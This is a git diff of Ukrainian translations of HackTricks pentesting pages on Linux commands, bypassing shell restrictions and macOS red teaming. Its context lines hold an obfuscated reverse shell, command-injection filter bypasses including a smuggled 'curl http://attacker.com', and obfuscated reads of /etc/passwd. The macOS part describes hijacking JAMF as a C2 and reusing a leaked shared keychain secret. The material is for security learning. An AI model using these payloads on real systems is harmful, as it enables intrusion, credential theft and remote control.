<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДТРИМКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Корисні команди Linux
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів у спільноті.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш **продвинутих** інструментах спільноти.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Загальні команди Bash
|
||||
## Загальний Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
@ -141,10 +142,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш **продвинутих** інструментах спільноти у світі.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш **продвинутих** інструментах спільноти у світі.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -169,8 +170,6 @@ python pyinstaller.py --onefile exploit.py
|
|||
#sudo apt-get install gcc-mingw-w64-i686
|
||||
i686-mingw32msvc-gcc -o executable useradd.c
|
||||
```
|
||||
## Greps
|
||||
|
||||
## Грепи
|
||||
```bash
|
||||
#Extract emails from file
|
||||
|
@ -327,21 +326,22 @@ iptables -P INPUT DROP
|
|||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДТРИМКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Обхід обмежень Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
|
||||
|
@ -22,9 +23,9 @@
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Обхід загальних обмежень
|
||||
## Загальні обхіди обмежень
|
||||
|
||||
### Зворотний шелл
|
||||
### Зворотний Shell
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
|
@ -145,7 +146,7 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
|||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Обхід IP-адреси
|
||||
### Обхід IP-адрес
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
|
@ -223,7 +224,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
|||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Уникнення потенційних регулярних виразів
|
||||
### Уникайте потенційних регулярних виразів
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
|
@ -233,7 +234,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
|||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### Виконання коду з 5 символами
|
||||
### Виконання коду з віддаленого виконання з 5 символів
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
|
@ -315,9 +316,9 @@ ln /f*
|
|||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Обхід обмежень на читання/виконання/Distroless
|
||||
## Обхід захисту від читання/запуску/без дистрибутиву
|
||||
|
||||
Якщо ви знаходитесь в файловій системі з захистом **тільки для читання та виконання** або навіть в контейнері distroless, все ще є способи **виконати довільні бінарні файли, навіть оболонку!:**
|
||||
Якщо ви знаходитесь в файловій системі з **захистом від читання та запуску** або навіть в контейнері без дистрибутиву, все ще є способи **виконати довільні бінарні файли, навіть оболонку!:**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
|
@ -329,31 +330,32 @@ ln /f*
|
|||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Посилання та Додатково
|
||||
## Посилання та Ще
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** на основі найбільш **продвинутих** інструментів у спільноті.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,27 +1,28 @@
|
|||
# Робота з червоним командуванням macOS
|
||||
# macOS Червоне Тімінгування
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа взлому AWS для Червоного Тіму (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа взлому GCP для Червоного Тіму (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Зловживання MDM
|
||||
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
Якщо ви змогли **скомпрометувати адміністративні облікові дані** для доступу до платформи управління, ви можете **потенційно скомпрометувати всі комп'ютери**, розповсюджуючи своє шкідливе ПЗ на машинах.
|
||||
Якщо вам вдалося **скомпрометувати адміністративні облікові дані** для доступу до платформи управління, ви можете **потенційно скомпрометувати всі комп'ютери**, розповсюджуючи своє шкідливе ПЗ на машинах.
|
||||
|
||||
Для червоного командування в середовищах MacOS високо рекомендується мати розуміння того, як працюють MDM:
|
||||
Для червоного тімінгування в середовищах MacOS високо рекомендується мати розуміння того, як працюють MDM:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
|
@ -33,34 +34,34 @@ MDM матиме дозвіл на встановлення, запит або
|
|||
|
||||
Для запуску власного MDM вам потрібно **ваш CSR підписаний вендором**, який ви можете спробувати отримати за допомогою [**https://mdmcert.download/**](https://mdmcert.download/). І для запуску власного MDM для пристроїв Apple ви можете використовувати [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
|
||||
Однак, для встановлення додатка на зареєстрований пристрій, вам все ще потрібно, щоб його підписав рахунок розробника... однак, під час реєстрації в MDM **пристрій додає сертифікат SSL MDM як довірений ЦС**, тому ви тепер можете підписувати все.
|
||||
Однак для встановлення додатка на зареєстрований пристрій все ще потрібно, щоб він був підписаний рахунком розробника... однак під час реєстрації в MDM **пристрій додає сертифікат SSL MDM як довірений ЦС**, тому ви тепер можете підписувати все.
|
||||
|
||||
Для реєстрації пристрою в MDM вам потрібно встановити файл **`mobileconfig`** як root, який може бути доставлений через файл **pkg** (ви можете стиснути його в zip, і коли завантажуєте з safari, він буде розпакований).
|
||||
Для реєстрації пристрою в MDM вам потрібно встановити файл **`mobileconfig`** як root, який може бути доставлений через файл **pkg** (ви можете стиснути його в zip, і коли завантажуєте з Safari, він буде розпакований).
|
||||
|
||||
**Агент Mythic Orthrus** використовує цей метод.
|
||||
|
||||
### Зловживання JAMF PRO
|
||||
|
||||
JAMF може виконувати **власні скрипти** (скрипти, розроблені системним адміністратором), **нативні навантаження** (створення локальних облікових записів, встановлення пароля EFI, моніторинг файлів/процесів...) та **MDM** (конфігурація пристроїв, сертифікати пристроїв...).
|
||||
JAMF може виконувати **власні скрипти** (скрипти, розроблені системним адміністратором), **нативні навантаження** (створення локальних облікових записів, встановлення пароля EFI, моніторинг файлів/процесів...) та **MDM** (конфігурації пристрою, сертифікати пристрою...).
|
||||
|
||||
#### Самозареєстрація JAMF
|
||||
|
||||
Перейдіть на сторінку, таку як `https://<company-name>.jamfcloud.com/enroll/`, щоб перевірити, чи вони мають **ввімкнену самозареєстрацію**. Якщо вони мають, це може **запитати облікові дані для доступу**.
|
||||
Перейдіть на сторінку, таку як `https://<company-name>.jamfcloud.com/enroll/`, щоб перевірити, чи включена **самозареєстрація**. Якщо вона включена, вона може **запитувати облікові дані для доступу**.
|
||||
|
||||
Ви можете використовувати скрипт [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) для виконання атаки зі спробою пароля.
|
||||
|
||||
Більше того, після знаходження відповідних облікових даних ви можете спробувати перебрати інші імена користувачів за наступною формою:
|
||||
|
||||
![](<../../.gitbook/assets/image (7) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (107).png>)
|
||||
|
||||
#### Аутентифікація пристрою JAMF
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`** бінарний файл містив секрет для відкриття keychain, який на момент відкриття був **розповсюджений** серед всіх і був: **`jk23ucnq91jfu9aj`**.\
|
||||
Бінарний файл **`jamf`** містив секрет для відкриття ключового ланцюжка, який на момент відкриття був **спільним** для всіх і він був: **`jk23ucnq91jfu9aj`**.\
|
||||
Більше того, jamf **зберігається** як **LaunchDaemon** в **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### Захоплення пристрою JAMF
|
||||
#### Перехоплення пристрою JAMF
|
||||
|
||||
URL **JSS** (Jamf Software Server), який використовуватиме **`jamf`**, розташований в **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Цей файл в основному містить URL:
|
||||
|
@ -78,7 +79,9 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
<integer>4</integer>
|
||||
[...]
|
||||
```
|
||||
Отже, зловмисник може розмістити шкідливий пакет (`pkg`), який **перезапише цей файл** при встановленні, встановивши **URL на прослуховувач Mythic C2 від агента Typhon**, щоб тепер мати можливість використовувати JAMF як C2.
|
||||
{% endcode %}
|
||||
|
||||
Отже, зловмисник може розмістити шкідливий пакунок (`pkg`), який **перезапише цей файл** при встановленні, встановивши **URL на прослуховувач Mythic C2 від агента Typhon**, щоб тепер мати можливість використовувати JAMF як C2.
|
||||
```bash
|
||||
# After changing the URL you could wait for it to be reloaded or execute:
|
||||
sudo jamf policy -id 0
|
||||
|
@ -87,28 +90,28 @@ sudo jamf policy -id 0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Підробка JAMF
|
||||
#### Підроблення JAMF
|
||||
|
||||
Для **підробки комунікації** між пристроєм та JMF вам потрібно:
|
||||
Для **підроблення комунікації** між пристроєм та JMF вам потрібно:
|
||||
|
||||
* **UUID** пристрою: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* **Ключ JAMF** з: `/Library/Application\ Support/Jamf/JAMF.keychain`, який містить сертифікат пристрою
|
||||
|
||||
З цією інформацією **створіть віртуальну машину** з **викраденим** апаратним **UUID** та з **вимкненим SIP**, скиньте **ключ JAMF**, **підключіться** до агента Jamf та вкрадіть його інформацію.
|
||||
З цією інформацією **створіть віртуальну машину** з **викраденим** апаратним **UUID** та з **вимкненим SIP**, скиньте **ключ JAMF**, **підключіть** агента Jamf та вкрадіть його інформацію.
|
||||
|
||||
#### Викрадення секретів
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
